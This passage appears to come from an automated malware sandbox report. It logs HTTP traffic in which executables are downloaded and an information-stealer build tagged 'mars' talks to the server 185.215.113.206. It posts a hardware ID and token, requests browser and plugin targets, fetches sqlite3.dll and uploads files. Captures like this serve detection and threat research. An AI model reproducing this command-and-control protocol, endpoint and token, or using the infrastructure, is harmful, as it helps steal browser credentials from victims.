73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 03:16:37 GMTContent-Type: application/octet-streamContent-Length: 3240960Last-Modified: Tue, 12 Nov 2024 03:02:37 GMTConnection: keep-aliveETag: "6732c54d-317400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 0d 4d 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 69 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 69 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 7a 6e 77 76 67 71 70 00 c0 2a 00 00 b0 06 00 00 ba 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 70 77 6b 63 63 68 00 10 00 00 00 70 31 00 00 04 00 00 00 4e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 52 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 03:17:08 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Tue, 12 Nov 2024 03:02:29 GMTConnection: keep-aliveETag: "6732c545-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6a 00 00 04 00 00 c6 04 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6d 67 79 78 6f 6b 64 00 70 1a 00 00 10 50 00 00 62 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 6a 74 73 6a 78 77 00 10 00 00 00 80 6a 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6a 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 03:17:21 GMTContent-Type: application/octet-streamContent-Length: 2812416Last-Modified: Tue, 12 Nov 2024 03:01:32 GMTConnection: keep-aliveETag: "6732c50c-2aea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 0f 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 73 6b 71 74 73 73 61 00 a0 2a 00 00 a0 00 00 00 8a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 64 6b 6f 65 69 71 77 00 20 00 00 00 40 2b 00 00 04 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="build"mars------FBKJKEHIJECGCBFIJEGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="message"browsers------BGIJDGCAEBFIIECAKFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="message"plugins------JEHIJJKEGHJJKECBKECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="message"fplugins------CGHDAKKJJJKJKECBGCGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGIHost: 185.215.113.206Content-Length: 7159Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file"------EHIJDHCAKKFCBGCBAAEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFIIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 